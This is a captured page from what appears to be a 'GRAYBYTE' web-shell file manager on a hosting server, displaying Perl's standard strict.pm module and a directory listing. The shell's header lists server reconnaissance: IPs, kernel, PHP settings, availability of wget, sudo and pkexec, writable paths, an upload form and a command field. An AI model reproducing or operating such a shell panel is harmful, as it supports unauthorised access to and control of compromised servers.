GRAYBYTE WORDPRESS FILE MANAGER8569

Server IP : 162.254.39.133 / Your IP : 216.73.216.176
System : Linux premium287.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
PHP Version : 8.1.33
Disable Function : mail
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/usr/share/perl5/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/perl5//strict.pm
package strict;

$strict::VERSION = "1.11";

my ( %bitmask, %explicit_bitmask );

BEGIN {
    # Verify that we're called correctly so that strictures will work.
    # Can't use Carp, since Carp uses us!
    # see also warnings.pm.
    die sprintf "Incorrect use of pragma '%s' at %s line %d.\n", __PACKAGE__, +(caller)[1,2]
        if __FILE__ !~ ( '(?x) \b     '.__PACKAGE__.'  \.pmc? \z' )
        && __FILE__ =~ ( '(?x) \b (?i:'.__PACKAGE__.') \.pmc? \z' );

    %bitmask = (
        refs => 0x00000002,
        subs => 0x00000200,
        vars => 0x00000400,
    );

    %explicit_bitmask = (
        refs => 0x00000020,
        subs => 0x00000040,
        vars => 0x00000080,
    );

    my $bits = 0;
    $bits |= $_ for values %bitmask;

    my $inline_all_bits = $bits;
    *all_bits = sub () { $inline_all_bits };

    $bits = 0;
    $bits |= $_ for values %explicit_bitmask;

    my $inline_all_explicit_bits = $bits;
    *all_explicit_bits = sub () { $inline_all_explicit_bits };
}

sub bits {
    my $bits = 0;
    my @wrong;
    foreach my $s (@_) {
        if (exists $bitmask{$s}) {
            $^H |= $explicit_bitmask{$s};

            $bits |= $bitmask{$s};
        }
        else {
            push @wrong, $s;
        }
    }
    if (@wrong) {
        require Carp;
        Carp::croak("Unknown 'strict' tag(s) '@wrong'");
    }
    $bits;
}

sub import {
    shift;
    $^H |= @_ ? &bits : all_bits | all_explicit_bits;
}

sub unimport {
    shift;

    if (@_) {
        $^H &= ~&bits;
    }
    else {
        $^H &= ~all_bits;
        $^H |= all_explicit_bits;
    }
}

1;
__END__

=head1 NAME

strict - Perl pragma to restrict unsafe constructs

=head1 SYNOPSIS

    use strict;

    use strict "vars";
    use strict "refs";
    use strict "subs";

    use strict;
    no strict "vars";

=head1 DESCRIPTION

The C<strict> pragma disables certain Perl expressions that could behave
unexpectedly or are difficult to debug, turning them into errors. The
effect of this pragma is limited to the current file or scope block.

If no import list is supplied, all possible restrictions are assumed.
(This is the safest mode to operate in, but is sometimes too strict for
casual programming.)  Currently, there are three possible things to be
strict about:  "subs", "vars", and "refs".

=over 6

=item C<strict refs>

This generates a runtime error if you 
use symbolic references (see L<perlref>).

    use strict 'refs';
    $ref = \$foo;
    print $$ref;	# ok
    $ref = "foo";
    print $$ref;	# runtime error; normally ok
    $file = "STDOUT";
    print $file "Hi!";	# error; note: no comma after $file

There is one exception to this rule:

    $bar = \&{'foo'};
    &$bar;

is allowed so that C<goto &$AUTOLOAD> would not break under stricture.


=item C<strict vars>

This generates a compile-time error if you access a variable that was
neither explicitly declared (using any of C<my>, C<our>, C<state>, or C<use
vars>) nor fully qualified.  (Because this is to avoid variable suicide
problems and subtle dynamic scoping issues, a merely C<local> variable isn't
good enough.)  See L<perlfunc/my>, L<perlfunc/our>, L<perlfunc/state>,
L<perlfunc/local>, and L<vars>.

    use strict 'vars';
    $X::foo = 1;	 # ok, fully qualified
    my $foo = 10;	 # ok, my() var
    local $baz = 9;	 # blows up, $baz not declared before

    package Cinna;
    our $bar;			# Declares $bar in current package
    $bar = 'HgS';		# ok, global declared via pragma

The local() generated a compile-time error because you just touched a global
name without fully qualifying it.

Because of their special use by sort(), the variables $a and $b are
exempted from this check.

=item C<strict subs>

This disables the poetry optimization, generating a compile-time error if
you try to use a bareword identifier that's not a subroutine, unless it
is a simple identifier (no colons) and that it appears in curly braces or
on the left hand side of the C<< => >> symbol.

    use strict 'subs';
    $SIG{PIPE} = Plumber;   # blows up
    $SIG{PIPE} = "Plumber"; # fine: quoted string is always ok
    $SIG{PIPE} = \&Plumber; # preferred form

=back

See L<perlmodlib/Pragmatic Modules>.

=head1 HISTORY

C<strict 'subs'>, with Perl 5.6.1, erroneously permitted to use an unquoted
compound identifier (e.g. C<Foo::Bar>) as a hash key (before C<< => >> or
inside curlies), but without forcing it always to a literal string.

Starting with Perl 5.8.1 strict is strict about its restrictions:
if unknown restrictions are used, the strict pragma will abort with

    Unknown 'strict' tag(s) '...'

As of version 1.04 (Perl 5.10), strict verifies that it is used as
"strict" to avoid the dreaded Strict trap on case insensitive file
systems.

=cut

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
October 10 2025 10:20:01
root / root
0755
Attribute
--
July 29 2025 01:26:47
root / root
0755
B
--
July 29 2025 01:26:46
root / root
0755
CPAN
--
March 03 2024 20:50:36
root / root
0755
Class
--
July 29 2025 01:26:46
root / root
0755
Compress
--
March 03 2024 19:11:21
root / root
0755
Config
--
July 29 2025 01:26:46
root / root
0755
DBM_Filter
--
July 29 2025 01:26:46
root / root
0755
Devel
--
July 29 2025 01:26:47
root / root
0755
ExtUtils
--
July 29 2025 01:26:47
root / root
0755
File
--
July 29 2025 01:26:46
root / root
0755
Getopt
--
July 29 2025 01:26:46
root / root
0755
I18N
--
July 29 2025 01:26:46
root / root
0755
IO
--
July 29 2025 01:26:47
root / root
0755
IPC
--
July 29 2025 01:26:46
root / root
0755
Locale
--
July 28 2025 08:08:32
root / root
0755
Math
--
July 29 2025 01:26:47
root / root
0755
Memoize
--
July 29 2025 01:26:47
root / root
0755
Module
--
July 29 2025 01:26:47
root / root
0755
Net
--
July 29 2025 01:26:47
root / root
0755
Pod
--
July 29 2025 01:26:47
root / root
0755
Search
--
July 29 2025 01:26:46
root / root
0755
Term
--
July 29 2025 01:26:46
root / root
0755
Text
--
July 29 2025 01:26:46
root / root
0755
Thread
--
July 29 2025 01:26:46
root / root
0755
Tie
--
July 29 2025 01:26:46
root / root
0755
Time
--
July 29 2025 01:26:46
root / root
0755
URI
--
March 03 2024 19:11:18
root / root
0755
Unicode
--
July 29 2025 01:26:46
root / root
0755
User
--
July 29 2025 01:26:46
root / root
0755
encoding
--
July 29 2025 01:26:46
root / root
0755
overload
--
July 29 2025 01:26:46
root / root
0755
pod
--
July 29 2025 01:26:47
root / root
0755
unicore
--
July 29 2025 01:26:45
root / root
0755
vendor_perl
--
July 28 2025 08:07:18
root / root
0755
warnings
--
July 29 2025 01:26:46
root / root
0755
AnyDBM_File.pm
2.557 KB
July 28 2025 08:07:09
root / root
0644
AutoLoader.pm
15.427 KB
July 28 2025 08:07:09
root / root
0644
AutoSplit.pm
19.177 KB
July 28 2025 08:07:09
root / root
0644
Benchmark.pm
30.298 KB
July 28 2025 08:07:09
root / root
0644
CORE.pod
3.113 KB
July 28 2025 08:07:09
root / root
0644
DB.pm
18.479 KB
July 28 2025 08:07:09
root / root
0644
DBM_Filter.pm
14.048 KB
July 28 2025 08:07:09
root / root
0644
DirHandle.pm
1.52 KB
July 28 2025 08:07:09
root / root
0644
Dumpvalue.pm
17.145 KB
July 28 2025 08:07:09
root / root
0644
English.pm
4.649 KB
July 28 2025 08:07:09
root / root
0644
FileCache.pm
5.441 KB
July 28 2025 08:07:09
root / root
0644
FileHandle.pm
6.625 KB
July 28 2025 08:07:09
root / root
0644
FindBin.pm
4.454 KB
July 28 2025 08:07:09
root / root
0644
Internals.pod
2.516 KB
July 28 2025 08:07:09
root / root
0644
Memoize.pm
35.344 KB
July 28 2025 08:08:32
root / root
0644
NEXT.pm
18.404 KB
July 28 2025 08:07:09
root / root
0644
PerlIO.pm
10.214 KB
July 28 2025 08:07:09
root / root
0644
Safe.pm
24.494 KB
July 28 2025 08:07:09
root / root
0644
SelectSaver.pm
1.051 KB
July 28 2025 08:07:09
root / root
0644
SelfLoader.pm
17.277 KB
July 28 2025 08:08:32
root / root
0644
Symbol.pm
4.687 KB
July 28 2025 08:07:09
root / root
0644
Test.pm
29.353 KB
July 28 2025 08:08:32
root / root
0644
Thread.pm
8.093 KB
July 28 2025 08:07:09
root / root
0644
UNIVERSAL.pm
6.439 KB
July 28 2025 08:07:09
root / root
0644
URI.pm
33.975 KB
January 09 2018 06:42:55
root / root
0644
XSLoader.pm
11.003 KB
July 28 2025 08:07:09
root / root
0644
_charnames.pm
32.389 KB
July 28 2025 08:07:09
root / root
0644
autouse.pm
4.139 KB
July 28 2025 08:07:09
root / root
0644
base.pm
10.723 KB
July 28 2025 08:07:09
root / root
0644
blib.pm
2.037 KB
July 28 2025 08:07:09
root / root
0644
bytes.pm
3.666 KB
July 28 2025 08:07:09
root / root
0644
bytes_heavy.pl
0.74 KB
July 28 2025 08:07:09
root / root
0644
charnames.pm
20.378 KB
July 28 2025 08:07:09
root / root
0644
deprecate.pm
3.007 KB
July 28 2025 08:07:09
root / root
0644
diagnostics.pm
18.592 KB
July 28 2025 08:07:09
root / root
0644
dumpvar.pl
15.19 KB
July 28 2025 08:07:09
root / root
0644
feature.pm
16.685 KB
July 28 2025 08:07:09
root / root
0644
fields.pm
9.267 KB
July 28 2025 08:07:09
root / root
0644
filetest.pm
3.909 KB
July 28 2025 08:07:09
root / root
0644
if.pm
3.262 KB
July 28 2025 08:07:09
root / root
0644
integer.pm
3.178 KB
July 28 2025 08:07:09
root / root
0644
less.pm
3.129 KB
July 28 2025 08:07:09
root / root
0644
locale.pm
4.741 KB
July 28 2025 08:07:09
root / root
0644
meta_notation.pm
2.067 KB
July 28 2025 08:07:09
root / root
0644
open.pm
7.833 KB
July 28 2025 08:08:32
root / root
0644
overload.pm
52.064 KB
July 28 2025 08:07:09
root / root
0644
overloading.pm
1.766 KB
July 28 2025 08:07:09
root / root
0644
perl5db.pl
309.004 KB
July 28 2025 08:07:09
root / root
0644
sigtrap.pm
7.428 KB
July 28 2025 08:07:09
root / root
0644
sort.pm
5.938 KB
July 28 2025 08:07:09
root / root
0644
strict.pm
4.627 KB
July 28 2025 08:07:09
root / root
0644
subs.pm
0.828 KB
July 28 2025 08:07:09
root / root
0644
utf8.pm
8.902 KB
July 28 2025 08:07:09
root / root
0644
utf8_heavy.pl
30.874 KB
July 28 2025 08:07:09
root / root
0644
vars.pm
2.357 KB
July 28 2025 08:07:09
root / root
0644
vmsish.pm
4.212 KB
July 28 2025 08:07:09
root / root
0644
warnings.pm
43.707 KB
July 28 2025 08:07:09
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF